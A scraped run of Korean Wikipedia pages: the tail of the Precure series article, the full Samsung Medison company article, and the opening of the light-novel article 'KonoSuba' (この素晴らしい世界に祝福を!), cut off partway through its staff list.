↑ 1화부터는 어반 제목만 등장. 같은 화에서 32화까지 변신 상실이다. ↑ 정식 등장은 23화부터다. ↑ 11화부터는 가면 뮤즈로 등장했다. ↑ 정식 등장은 7화부터다. ↑ 정식 등장은 27화부터다. ↑ 정식 등장은 11화부터다. ↑ 정식 등장은 22화부터다. ↑ 정식 등장은 5화부터다. ↑ 정식 등장은 23화부터다. ↑ 22화부터 페리체로 각성. ↑ 괴도 캐릭터로서 등장. 정식 등장은 20화부터다. 외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.프리큐어 시리즈 대원반다이남코그룹 프리큐어 시리즈 공식 홈페이지 프리큐어 가든 홈페이지 (일본어) 아사히 방송 프리큐어 박스! 공식 홈페이지 (일본어) プリキュア公式YouTubeチャンネル의 채널 - 유튜브 (일본어) 프리큐어 공식 어카운트 - 인스타그램 (일본어) vdeh프리큐어 시리즈TV 시리즈빛의 전사 프리큐어 | 프리큐어 Max Heart | 두 사람은 프리큐어 Splash Star | Yes! 프리큐어5 | Yes! 프리큐어5 GoGo! | 프레시 프리큐어! | 하트캐치 프리큐어! | 스위트 프리큐어♪ | 스마일 프리큐어! | 두근두근! 프리큐어 | 해피니스 차지 프리큐어! | Go! 프린세스 프리큐어 | 마법사 프리큐어! | 키라키라☆프리큐어 아라모드 | 허긋토! 프리큐어 | 스타☆트윙클 프리큐어극장판 시리즈MH - MH2 | SS | 프리큐어5 | 프리큐어5 GoGo! | 프레시 | 하트캐치 | 스위트 | 스마일 | 두근두근 | 해피니스 | 프린세스 | 마법사 | 키라키라 | 스타☆트윙클크로스 오버 극장판초~단편 | DX | DX2 | DX3 | 3D 시어터 | NS | NS2 | 봄의 카니발♪ | 기적의 마법 | 미라클♡매지컬☆스테이지 | 드림스타즈! | 슈퍼스타즈! | 허긋토! 올스타즈 메모리즈 | 미라클 유니버스그 외프리큐어 데이터 카드 다스 시리즈등장인물(초대/MH) 큐어 블랙  · 큐어 화이트  · 샤이니 루미너스 (Splash Star) 큐어 블룸/브라이트  · 큐어 이그렛/윈디 (프리큐어5/GoGo!) 큐어 드림  · 큐어 루즈  · 큐어 레모네이드  · 큐어 민트  · 큐어 아쿠아  · 밀키 로즈 (프레시) 큐어 피치  · 큐어 베리  · 큐어 파인  · 큐어 패션 (하트캐치) 큐어 블로섬  · 큐어 마린  · 큐어 선샤인  · 큐어 문라이트 (스위트) 큐어 멜로디  · 큐어 리듬  · 큐어 비트  · 큐어 뮤즈 (스마일) 큐어 해피  · 큐어 써니  · 큐어 피스  · 큐어 마치  · 큐어 뷰티 (두근두근) 큐어 하트  · 큐어 다이아몬드  · 큐어 로제타  · 큐어 소드  · 큐어 에이스 (해피니스 차지) 큐어 러블리  · 큐어 프린세스  · 큐어 허니  · 큐어 포춘 (Go! 프린세스) 큐어 플로라  · 큐어 트윙클  · 큐어 머메이드  · 큐어 스칼렛 (마법사) 큐어 미라클  · 큐어 매지컬  · 큐어 페리체 (키라키라) 큐어 휩  · 큐어 커스터드  · 큐어 젤라토  · 큐어 마카롱  · 큐어 쇼콜라  · 큐어 파르페 (허긋토!) 큐어 옐  · 큐어 앙쥬  · 큐어 에투알  · 큐어 마셰리  · 큐어 아무르 (스타☆트윙클) 큐어 스타  · 큐어 밀키  · 큐어 솔레유  · 큐어 셀레네  · 큐어 코스모제작아사히 방송(ABC TV) | ASATSU DK (ADK) | 토에이 애니메이션관련문서토도 이즈미 | 와시오 타카시 | 우메자와 아츠토시 | 시바타 히로아키 | 카미키타 후타고 | 나카요시 | 반다이 영화 프리큐어 올스타즈 DX 모두 친구☆기적의 전원 대집합!에 관한 분류: 프리큐어 시리즈  |  2009년 애니메이션 영화 영화 프리큐어 올스타즈 DX2 희망의 빛☆레인보우 쥬얼을 지켜라!에 관한 분류: 프리큐어 시리즈  |  2010년 애니메이션 영화 영화 프리큐어 올스타즈 DX3 미래에 닿아라! 세계를 잇는☆무지갯빛 꽃에 관한 분류: 프리큐어 시리즈  |  2011년 애니메이션 영화 영화 프리큐어 올스타즈 뉴 스테이지 미래의 친구에 관한 분류: 프리큐어 시리즈  |  2012년 애니메이션 영화 영화 프리큐어 올스타즈 뉴 스테이지 2 마음의 친구에 관한 분류: 프리큐어 시리즈  |  2013년 애니메이션 영화 영화 프리큐어 올스타즈 뉴 스테이지 3 영원의 친구에 관한 분류: 프리큐어 시리즈  |  2014년 애니메이션 영화 영화 프리큐어 올스타즈 봄의 카니발♪에 관한 분류: 프리큐어 시리즈  |  2015년 애니메이션 영화 영화 프리큐어 올스타즈 모두 함께 노래하다♪ 기적의 마법!에 관한 분류: 프리큐어 시리즈  |  2016년 애니메이션 영화 영화 프리큐어 드림스타즈!에 관한 분류: 프리큐어 시리즈  |  2017년 애니메이션 영화 영화 프리큐어 슈퍼스타즈!에 관한 분류: 프리큐어 시리즈  |  2018년 애니메이션 영화 영화 프리큐어 미라클 유니버스에 관한 분류: 프리큐어 시리즈  |  2019년 애니메이션 영화 원본 주소 "https://ko.wikipedia.org/w/index.php?title=프리큐어_시리즈&oldid=24505047" 분류: 프리큐어 시리즈일본의 애니메이션마법소녀 애니메이션애니메이션 시리즈중학교를 배경으로 한 애니메이션아사히 방송도에이 애니메이션숨은 분류: 출처가 필요한 글/2016년 5월출처가 필요한 모든 글문단에 출처가 필요한 글 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةDanskDeutschΕλληνικάEnglishEspañolFrançaisMagyarBahasa IndonesiaItaliano日本語ລາວМонголPolskiPortuguêsРусскийไทย中文 링크 편집 이 문서는 2019년 6월 30일 (일) 18:30에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
삼성메디슨 - 위키백과, 우리 모두의 백과사전 삼성메디슨 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 삼성메디슨주식회사Samsung Medison Co., Ltd. 형태 주식회사 산업 분야 의료기기 연구·제조 창립 1985년 7월 2일 창립자 이민화 시장 정보 K-OTC: 018360 국가 대한민국 본사 소재지 대한민국 서울특별시 강남구 테헤란로108길 42 (대치동)[1] 핵심 인물 전동수 (대표이사) 자본금 63,803,639,000원 (2018.12) 매출액 326,363,749,723원 (2018) 영업이익 2,226,845,225원 (2018) 순이익 53,594,368,654원 (2018) 자산총액 345,287,982,577원 (2018.12) 주요 주주 삼성전자주식회사 외 특수관계인: 68.46% 모기업 삼성전자 종업원 1,060명 (2018.12) 웹사이트 삼성메디슨 삼성메디슨(영어: Samsung Medison)은 대한민국의 의료기기사업체로, 삼성그룹의 신수종사업 중 하나인 의료기기의 연구, 개발, 판매를 담당하고 있는 글로벌 의료기기 전문기업이다. 목차 1 역사 2 사업장 3 의료민영화 관련 논란 4 삼성그룹과 의료산업과의 관계 5 각주 6 외부 링크 역사[편집] 전신인 메디슨은 1985년 7월 2일 대한민국 벤처 1세대의 수장격으로 한국과학기술원(KAIST) 연구원 출신인 이민화 등 7명이 초음파 진단기를 개발한 것이 그 시초이다. 1986년 4월 기업부설연구소를 설립하고 1988년 4월에는 강원도 홍천군 남면 양덕원리 농공단지내에 제조공장(현 삼성메디슨 제조1센터)을 준공했다. 1990년엔 재계 서열 2위인 삼성과 세계적 기업 GE社가 합작한 삼성GE를 제치고 국내 시장 점유율 1위에 올랐다. 1996년 1월 국내 벤처기업 중 최초로 코스피에 상장되었으며 4월에 오스트리아의 Kretztechnik을 인수하며 3차원 초음파 기술을 보유하게 되었다. 그 결과 1996년 아시아 최초로 디지털 초음파 장비를 개발하였고, 1998년에는 세계 최초로 Live 3D 초음파 진단기를 출시하였다. 1998년에는 메디슨벤처타워(서울특별시 강남구 대치동 997-4)를 구입하여 본사를 이전하였다. (현 미래에셋생명강남사옥) 이후 메디슨은 적극적인 M&A를 통해 몸집 부풀리기에 나섰고 한글과컴퓨터, 비트컴퓨터, 메디다스, 무한기술투자, 바이오시스 등 23개 계열사 총 40개 회사를 보유하며 '벤처연방제'를 표방했다. 하지만 2000년 미국발 IT버블붕괴로 인한 심각한 유동성 위기, 무리한 M&A로 인해 큰 타격을 받았고, 2002년 3월 부도처리되며 회사정리절차가 개시되었다. 이 과정에서 Kretztechnik을 GE社에 매각하였고 GE社는 이 기술력을 바탕으로 현재 초음파 진단기기 세계 시장 1위를 차지하고 있다. 메디슨은 초음파 진단기기에만 집중한 끝에 2006년 6월 법정관리에서 벗어나고 재기에 성공했다. 2009년 10월에는 메디슨헬스케어를 신설하는 등 다시 사업 확장의 모습을 보였으나 2010년 12월 삼성전자에 인수되었고 2011년 4월 삼성그룹 계열사로 편입되었다. 2012년 4월 메디슨헬스케어를 합병하였고, 2012년 9월에 초음파 프로브 제조업체인 프로소닉을 합병하며 경상북도 구미에 삼성메디슨 제조2센터를 준공하였다. 2014년 기준으로 메디슨 기존 라인업인 ACCUVIX, SONOACE, EKO에 더해 삼성 라인업인 UGEO를 생산하고 있다. 삼성전자는 디지털 X-ray인 XGEO와 혈액진단기 LABGEO, 삼성메디슨은 초음파 진단기기인 UGEO를 생산하며 의료기기 시장에 참여하고 있다. 사업장[편집] 서울 본사: 서울특별시 강남구 테헤란로108길 42 (대치동, 삼성메디슨빌딩) (舊주소: 서울특별시 강남구 대치동 1003 삼성메디슨빌딩) 제조 1센터 및 본점: 강원도 홍천군 남면 한서로 3366 (舊주소: 강원도 홍천군 남면 양덕원리 114) 제조 2센터: 경상북도 구미시 1공단로 244 (공단동) (舊주소: 경상북도 구미시 공단동 259) 지방 사무소: 부산, 대구, 광주, 대전 의료민영화 관련 논란[편집] 박근혜 정부가 추진중인 의료민영화 정책의 최대 수혜자가 삼성그룹이 될 것이라는 논란이 있다. 삼성그룹은 삼성의료원을 필두로 삼성생명(금융업), 삼성화재(금융업), 삼성메디슨(의료기기), 삼성바이오로직스(제약), 365홈케어(건강관리), 삼성전자/삼성종합기술원/삼성테크윈/삼성SDS/삼성네트웍스(U-health) 등의 계열사를 소유하고 있으며 2009년부터 헬스케어산업에 매우 공격적인 투자를 하고 있다. 이번 의료민영화 정책은 자본이 부족해 의료 사업을 추진하지 못하는 대형병원이 자본투자를 받아 헬스케어산업에 뛰어들 수 있는 길을 열어주고 삼성, 현대와 같이 이미 진출해 있는 기업이 보다 손쉽게 기업활동을 할 수 있도록 규제를 풀어준 것이라는 것이 주된 평가이다. [2] 삼성그룹과 의료산업과의 관계[편집] 삼성그룹은 국내에서 가장 대표적인 의산복합체로 불린다. 의산복합체는 미국 하버드 의대 교수 아널드 렐먼이 처음 사용한 개념으로 의사와 병원, 보험회사, 제약기업, 의료기기업체 등 다른 사업체가 서로 긴밀하게 연결해 만드는 이해관계 네트워크를 뜻한다. 삼성의료원: 의료업 삼성생명, 삼성화재: 보험업 삼성메디슨: 의료기기 제조 삼성바이오로직스: 신약 생산 삼성바이오에피스: 신약 연구개발 삼성전자, 삼성SDS: U-헬스케어산업 365홈케어(현 오픈타이드코리아): 건강관리 케어캠프: 의료용품 MRO 각주[편집] ↑ 상법 상 본점 주소는 강원도 홍천군 남면 한서로 3366이다. ↑ “"의료민영화정책과 한의계"”. 민족의학신문. 2014년 2월 28일.  외부 링크[편집] 삼성메디슨 - 공식 웹사이트 vdeh삼성전자계열사자회사 삼성전자판매 삼성전자서비스 삼성전자로지텍 삼성메디슨 삼성 텔레커뮤니케이션스 세메스 하만 인터내셔널 AKG 렉시콘 JBL 합작 S-LCD 삼성LED 스테코 합병 삼성디지털이미징 제품갤럭시스마트폰 갤럭시 태블릿 갤럭시 탭 웨어러블 갤럭시 웨어러블 타이젠 TV/AVTV SUHD TV UHD TV 스마트 TV OLED TV LED TV LCD TV PDP TV 홈시어터 블루레이 홈시어터 DVD 홈시어터 에어트랙 홈시어터 블루레이/DVD 플레이어 스마트 블루레이 플레이어 DVD 플레이어 오디오 무선 도킹 오디오 무선 포터블 오디오 DVD 미니 컴포넌트 오디오 ITPC/주변기기 노트북 시리즈 데스크탑 스마트 모니터 스마트 프린터 모바일 스마트 카메라 갤럭시 카메라 갤럭시 NX 갤럭시 070 액세서리 레벨 가전주방가전 지펠 셰프 컬렉션 빌트인 스마트 오븐 세라믹 전자레인지 생활가전 스마트 에어컨 버블샷 워블 스마트 탱고 모션싱크 자연가습청정기 바이러스닥터 스마트 도어록 하이패스 의료기기 엑스지오 랩지오 기타 엑시노스 터치위즈 삼성 익스피리언스 갤럭시 앱스 삼성 허브 S 보이스 빅스비 S 빔 스마트 홈 삼성 페이 이전 제품 파브 하우젠 센스 아티브 매직스테이션 싱크마스터 랩핏 마이젯 옙 갤럭시 플레이어 VLUU 챗온 워치온 키스 바다 명품(名品) 애니콜 스포츠 수원 삼성 블루윙즈 서울 삼성 썬더스 삼성 갤럭시 (E스포츠) 삼성전자 육상단 삼성전자 승마단 관련 항목 삼성전자 소프트웨어 멤버십 삼성전자와 애플의 소송 및 분쟁 이병철 이건희 이재용 윤종용 이윤우 최지성 권오현 웹사이트: samsung.com vdeh삼성 창립: 1938년 창립자: 이병철 계열사전자 삼성전자 삼성전자판매 삼성전자서비스 삼성전자로지텍 삼성메디슨 세메스 스테코 하만 인터내셔널 레드벤드소프트웨어코리아 삼성전기 스템코 (30%) 삼성SDI STM (100%) SD플렉스 삼성SDS 크레듀 미라콤아이앤씨 에스코어 오픈핸즈 시큐아이 삼성디스플레이 SU머티리얼스 삼성코닝어드밴스드글라스 글로벌텍 중공업·건설 삼성물산 건설부문 씨브이네트 삼우종합건축사사무소 삼성중공업 대정해상풍력발전 정암풍력발전 삼성엔지니어링 금융 삼성생명 삼성생명서비스손해사정 삼성SRA자산운용 생보부동산신탁 삼성자산운용 삼성액티브자산운용 삼성헤지자산운용 생보제일호위탁관리부동산투자회사 삼성화재 삼성화재서비스손해사정 삼성화재애니카손해사정 삼성카드 삼성카드고객서비스 삼성증권 삼성선물 삼성벤처투자 서비스 삼성물산 상사부문 삼성물산 패션부문 제일패션리테일 빈폴 에잇세컨즈 삼성물산 리조트부문 에버랜드 에버랜드 리조트 캐리비안 베이 서울레이크사이드 삼성웰스토리 호텔신라 신라면세점 HDC신라면세점 신라스테이 SBTM 제일기획 하쿠호도제일 삼성스포츠 에스원 에스원CRM 휴먼TSS 삼성경제연구소 삼성의료원 삼성서울병원 강북삼성병원 성균관대학교 삼성창원병원 삼성바이오로직스 삼성바이오에피스 멀티캠퍼스 기타 삼성타운 삼성SDS타워 향군타워 삼성디지털시티 삼성인력개발원 삼성종합기술원 삼성 시너지 타워 이전 계열사 구 삼성물산 동양화재해상보험 넥스소프트 삼성정밀화학 삼성BP화학 동남증권 삼성토탈 삼성테크윈 삼성항공/삼성톰슨CSF/삼성탈레스 삼성종합화학 (삼성SGL탄소소재) 삼성토탈 삼성건설 삼성물산 유통부문/삼성테스코 삼성시계 삼성상용차 삼성디지털이미징 삼성캐피탈 삼성영상사업단 캐치원 삼성네트웍스 삼성LED 삼성모바일디스플레이 S-LCD 삼성광주전자 신공항하이웨이 SB리모티브 올앳 아이마켓코리아 웨스틴 조선호텔 제일제당 제일제당건설 제일C&C 제일냉동식품 제일선물 제일합섬 신세계백화점 전주제지 중앙일보 보광 동양방송 삼성HTH택배 삼성코닝정밀소재 도시바삼성스토리지테크놀러지(TSST) 구 제일모직 아이비클럽 삼성석유화학 삼성SNS 대도제약 365홈케어 오픈타이드차이나 에스엠피 제일보젤 월드사이버게임즈 에스에스엘엠 케어캠프 가치네트 방계기업 CJ그룹 신세계그룹 한솔그룹 새한그룹 효성그룹 중앙미디어네트워크 BGF그룹 르노삼성자동차 스포츠 수원 삼성 블루윙즈 삼성 라이온즈 서울 삼성 썬더스 용인 삼성생명 블루밍스 대전 삼성화재 블루팡스 삼성 갤럭시 삼성전기 배드민턴단 삼성증권 테니스단 삼성생명 탁구단 삼성생명 레슬링단 삼성중공업 럭비단 삼성에스원 태권도단 삼성전자 육상단 삼성전자 승마단 삼성 트레이닝 센터 사회공헌 삼성복지재단 삼성언론재단 삼성생명공익재단 삼성미래기술육성재단 삼성사회봉사단 삼성법률봉사단 삼성안전환경연구소 마이독 & 삼성 삼성화재안내견학교 삼성생명탐지견센터 문화예술 삼성문화재단 호암재단 호암미술관 호암상 호암아트홀 리움 플라토 삼성화재교통박물관 삼성아동교육문화센터 삼성어린이박물관 교육·장학 성균관대학교 성균관대학교 삼성창원병원 충남삼성학원 충남삼성고등학교 삼성장학회 중동학원 중동중학교 중동고등학교 관련 항목인물 이병철 박두을 이건희 홍라희 이재용 이부진 이서현 이수빈 이윤형 이인희 이맹희 이창희 이명희 김재열 임우재 손복남 이미경 이재현 손경식 홍진기 홍석현 홍석조 홍석준 홍석규 홍라영 조홍제 조운해 조동길 정상희 정재은 정용진 정유경 장경작 이병각 박정희 정일권 신현확 윤종용 이학수 차인혁 안지홍 강석진 양향자 진기주 윤준원 사건 삼성물산과 제일모직의 합병 삼성에버랜드 전환사채 저가 배정 사건 삼성 비자금 관련 폭로 삼성 비자금 의혹 관련 특별검사의 임명 등에 관한 법률 삼성 경영권 불법 승계 등에 대한 재판 삼성 경영 쇄신안 삼성 X파일 사건 영훈국제중학교 부정 입학 비리 사건 국회 오물투척사건 사카린 밀수 사건 구포역 열차 전복 사고 삼성1호-허베이 스피릿 호 원유 유출 사고 용산4구역 남일당 화재 사건 1980년 언론 통폐합 삼성 갤럭시 노트 7 리콜 사태 박근혜-최순실 게이트 원본 주소 "https://ko.wikipedia.org/w/index.php?title=삼성메디슨&oldid=24044752" 분류: 장외주식시장 지정 기업대한민국의 제조 기업1985년 설립된 기업삼성의 자회사강원도의 기업숨은 분류: 영어 표기를 포함한 문서위키데이터와 위키백과에서 차이가 있는 공식 웹사이트 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 English 링크 편집 이 문서는 2019년 4월 16일 (화) 20:33에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
이 멋진 세계에 축복을! - 위키백과, 우리 모두의 백과사전 이 멋진 세계에 축복을! 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서는 미공개 또는 계획만 발표되었거나, 현재 진행 중인 작품의 내용을 포함하고 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요.정확한 내용을 반영할 수 있도록 문서 수정을 도와주세요. 이 멋진 세계에 축복을!この素晴らしい世界に祝福を! 장르 이세계 판타지, 코미디 소설 저자 아카츠키 나츠메 출판사 KADOKAWA 가도카와 쇼텐 레이블 가도카와 스니커 문고 권수 15권 + 스핀오프 7권 + 엑스트라 4권 15권 + 스핀오프 5권 + 엑스트라 3권 만화 작가 아카츠키 나츠메 (원작)미시마 쿠로네 (캐릭터 원안) 작화 와타리 마사히토 출판사 KADOKAWA 후지미 쇼보 레이블 드래곤 코믹스 에이지 권수 3권 (2016년 3월 현재) TV 애니메이션 원작 아카츠키 나츠메 감독 카나사키 타카오미 시리즈 구성 우에즈 마코토 캐릭터 디자인 키쿠타 코이치 음악 코다 마사토 애니메이션 제작 스튜디오 딘 제작 코노스바제작위원회 방송사 도쿄 MX 외 방영 기간 제1기: 2016년 1월 ~ 3월제2기: 2017년 1월 ~ 3월 화수 제1기: 전 10화 + OVA 1화 제2기: 전 10화 + OVA 1화 틀 - 토론 위키프로젝트 라이트 노벨·일본의 만화와 애니메이션 포털 문학·일본의 만화와 애니메이션 《이 멋진 세계에 축복을!》(この素晴らしい世界に祝福を!)은 아카츠키 나츠메가 집필한 일본의 라이트 노벨이다. 약칭은 《코노스바》 이다 일러스트는 미시마 쿠로네가 담당한다. 가도카와 스니커 문고(KADOKAWA 가도카와 쇼텐)에서 간행된다. 원래는 웹사이트 「소설가가 되자」에서 연재되었던 웹소설이었다. 또, 거기서 사용된 필명은 자택경비병(自宅警備兵)이었다. 2014년 9월 9일부터 "월간 드래곤 에이지"(KADOKAWA 후지미 쇼보)에서 만화판이 연재되기 시작했다. 2016년 1월부터 3월까지 텔레비전 애니메이션 제1기가 방영되었다. 제1기의 최종화에서 제2기의 제작이 발표되었다. 목차 1 줄거리 2 등장인물 2.1 주요 인물 3 간행 목록 3.1 소설 3.2 만화 3.3 드라마 CD 4 텔레비전 애니메이션 4.1 스태프 4.2 주제가 4.3 각화 리스트 4.4 BD / DVD 4.5 웹 라디오 5 극장 애니메이션 6 출처 7 외부 링크 줄거리[편집] 불의의 사고로 목숨을 잃은 고교생, 사토 카즈마는 천계에서 여신, 아쿠아에게 이세계 전생을 권유받는다. 아쿠아는 「이세계에는 원하는 것을 하나 가지고 갈 수 있다」고 이세계 전생의 특전을 들이밀며 권유하지만, 아쿠아의 태도가 너무나도 카즈마를 된장 찌꺼끼와 같이 바보 취급하고 있었기 때문에, 카즈마는 격노하여 아쿠아를 「이세계에 가지고 가는 "물건"」으로서 지목한다. 이리하여, 아쿠아를 데리고 이세계, 「액셀 마을」에 내려선 카즈마는, 운만이 이상하게 좋은 평범한 모험자가 되고, 머리가 나쁜 아쿠아는 지성 이외의 모든 스테이터스가 높은 아크 프리스트가 된다. 폭렬마법의 사용자이지만, 1발 쏘면 움직일 수 없게 되는 아크 위저드 메구밍과, 겉모습은 미소녀이지만 망상벽이 마조히스트로 공격이 맞지 않는 변태 크루세이더 다크니스를 동료로 더해 모험자 직업을 시작하게 되어, 그녀들의 행동에 휘둘리는 나날을 보내고 있었다. 그러나 점점 더 심해지는 한편 멈출 줄 모르는 이들의 문제 행동은, 마왕군과의 트러블이나, 악덕 영주와의 금전적 싸움, 최후는 마왕 토벌에 나서 일기토 등, 다양한 파란에 카즈마를 말려들게 한다. 소설 제1권 히키코모리에 니트인 사토 카즈마는 이세계 전생 아이템으로 여신 아쿠아를 길동무로 이세계에. 무일푼으로 이세계에 찾아온 두 사람은, 아르바이트로 겨우 끼니를 이어나가지만, 파티에 들어온 머리가 이상한 마법사 덕분에 마왕군 간부와 싸우는 지경에 이르게 된다. 소설 제2권 마구간 생활에 익숙해진 무렵에 겨울이 찾아와 생활 거점의 확보를 위해 유령 퇴치의 보상으로 저택을 손에 넣게되지만, 저택에 정착한 유령은 아쿠아에게 원인이 있었던 것으로 판명된다. 소설 제3권 디스트로이어 토벌의 공로자가 되어야 하지만, 영주 암살 혐의를 받은 재판에 부쳐지게 된다. 소설 제4권 액시즈 교단의 총본산 거리에 방문한 카즈마 일행은, 다시 마왕군 간부와 대치한다. 소설 제5권 융융에게 구애받은 카즈마는 홍마의 마을로 향하게 되고, 메구밍의 어머니인 유이유이의 책략에 의해 메구밍과 동침하게 된다. 소설 제6권 왕녀에게 「오빠」라고 불려 신경쓰이게 된 카즈마는, 국가를 노리는 적과 대치하기 위해, 은발도적단의 일원으로 암약한다. 소설 제7권 악덕 귀족의 모략에 걸린 다크니스를 탈환하기 위해 전재산을 쏟아부은 카즈마. 소설 제8권 마침내 여신 에리스가 액셀 마을에 강림한다. 소설 제9권 신문을 통해 왕도 가까이에 있는 요새에서 사신 월바크(女)가 이끄는 마왕군의 내습을 알고 달려가는 카즈마 일행. 등장인물[편집] ※성우는 드라마 CD판 / 애니판 순으로 기재. 성우 이름이 1명인 경우는, 애니판으로만 존재한다는 것을 나타낸다. 주요 인물[편집] 사토 카즈마 (일본어: 佐藤和真) 성우 - 오오사카 료타 / 후쿠시마 준 아쿠아 (일본어: アクア) 성우 - 후쿠하라 카오리 / 아마미야 소라 메구밍 (일본어: めぐみん) 성우 - 우치다 마아야 / 타카하시 리에 다크니스 (일본어: ダクネス) 성우 - 이노우에 마리나 / 카야노 아이 본명은 다스티네스 포드 라라티나(ダスティネス・フォード・ララティーナ). 위즈 (일본어: ウィズ) 성우 - 하야미 사오리 / 호리에 유이 간행 목록[편집] 소설[편집] 가도카와 스니커 문고(KADOKAWA 가도카와 쇼텐) この素晴らしい世界に祝福を! 권수 타이틀 발매일 ISBN 1 ああ、駄女神さま 2013년 10월 1일 [[:ja:Special:BookSources/9784041010204|ISBN 978-4-04-101020-4]] 2 中二病でも魔女がしたい! 2013년 12월 1일 [[:ja:Special:BookSources/9784041011102|ISBN 978-4-04-101110-2]] 3 よんでますよ、ダクネスさん。 2014년 2월 28일 [[:ja:Special:BookSources/9784041012420|ISBN 978-4-04-101242-0]] 4 鈍ら四重奏〜ナマクラカルテット〜 2014년 4월 26일 [[:ja:Special:BookSources/9784041015704|ISBN 978-4-04-101570-4]] 5 爆裂紅魔にレッツ&ゴー!! 2014년 8월 30일 [[:ja:Special:BookSources/9784041015711|ISBN 978-4-04-101571-1]] 6 六花の王女 2015년 2월 28일 [[:ja:Special:BookSources/9784041022672|ISBN 978-4-04-102267-2]] 7 億千万の花嫁 2015년 9월 1일 [[:ja:Special:BookSources/9784041035399|ISBN 978-4-04-103539-9]] 8 アクシズ教団VSエリス教団 2016년 1월 1일 [[:ja:Special:BookSources/9784041035405|ISBN 978-4-04-103540-5]] 9 紅の宿命オリジナルアニメブルーレイ付き同梱版 2016년 6월 24일 [[:ja:Special:BookSources/9784041039533|ISBN 978-4-04-103953-3]] 紅の宿命 2016년 7월 1일 [[:ja:Special:BookSources/9784041039540|ISBN 978-4-04-103954-0]] 10 ギャンブル・スクランブル 2016년 11월 1일 [[:ja:Special:BookSources/9784041049921|ISBN 978-4-04-104992-1]] この素晴らしい世界に爆焰を! 권수 타이틀 발매일 ISBN 1 めぐみんのターン 2014년 7월 1일 [[:ja:Special:BookSources/9784041018668|ISBN 978-4-04-101866-8]] 2 ゆんゆんのターン 2014년 12월 1일 [[:ja:Special:BookSources/9784041024386|ISBN 978-4-04-102438-6]] 3 ふたりは最強!のターン 2015년 6월 1일 [[:ja:Special:BookSources/9784041031018|ISBN 978-4-04-103101-8]] (오리지널 드라마 CD 부록 동봉판) この仮面の悪魔に相談を! 권수 발매일 ISBN 1 2016년 4월 1일 [[:ja:Special:BookSources/9784041042930|ISBN 978-4-04-104293-9]] 또, 본편 소설의 부제 모두가 다른 애니메이션의 제목을 모방한 것으로 되어있다. 디앤씨미디어 이 멋진 세계에 축복을! 권수 타이틀 발매일 ISBN 1 오! 나의 잉여신님 2015년 9월 10일 ISBN 9788926799796 2 중2병이라도 마녀가 하고 싶어! 2015년 10월 10일 ISBN 9788926799963 3 부르잖아요, 다크니스 씨. 2016년 1월 10일 ISBN 9791186906262 4 나태 사중주 ~나태 콰르텟~ 2016년 1월 10일 ISBN 9791186906279 5 폭렬홍마 레츠&고!! 2016년 3월 10일 ISBN 9791186906484 6 육화의 왕녀 2016년 5월 10일 ISBN 9791159810398 7 억천만의 신부 2016년 8월 10일 ISBN 9791127805562 8 아쿠시즈 교단 VS 에리스 교단 2016년 10월 10일 ISBN 9791127824259 9 붉은 숙명 2017년 2월 10일 ISBN 9791127840341 이 멋진 세계에 폭염을! 권수 타이틀 발매일 ISBN 1 메구밍의 턴 2016년 2월 10일 ISBN 9791186906422 2 융융의 턴 2016년 4월 10일 ISBN 9791159810046 3 두 사람은 최강!의 턴 2016년 6월 10일 ISBN 9791159810756 이 가면 악마에게 상담을! 권수 타이틀 발매일 ISBN 1 이 가면 악마에게 상담을! 2017년 01월 10일 ISBN 9791127839765 만화[편집] この素晴らしい世界に祝福を! 권수 발매일 ISBN 초출 1 2015년 4월 9일 [[:ja:Special:BookSources/9784040705392|ISBN 978-4-04-070539-2]] 월간 드래곤 에이지 2014년 10월호 - 2015년 2월호 2 2015년 12월 5일 [[:ja:Special:BookSources/9784040707822|ISBN 978-4-04-070782-2]] 월간 드래곤 에이지 2015년 3월호 - 2015년 9월호 3 2016년 3월 9일 [[:ja:Special:BookSources/9784040708348|ISBN 978-4-04-070834-8]] 월간 드래곤 에이지 2015년 10월호 - 2016년 3월호 4 2016년 9월 9일 [[:ja:Special:BookSources/9784040720197|ISBN 978-4-04-072019-7]] 월간 드래곤 에이지 2016년 4월호 - 2016년 9월호 드라마 CD[편집] 권수 타이틀 발매일 1 この素晴らしい世界に爆焔を! この真夏の海に騒乱を! 2015년 3월 1일 텔레비전 애니메이션[편집] 제1기가 2016년 1월부터 3월까지, 제2기가 2017년 1월부터 3월까지 방영되었다. 스태프[편집] 원작 - 아카츠키 나츠메 원작 일러스트 - 미시마 쿠로네 감독 - 카나사키 타카오미(金崎貴臣) 조감독 - 요시다 슌지(吉田俊司) 시리즈 구성 - 우에즈 마코토(上江洲誠) 캐릭터 디자인 - 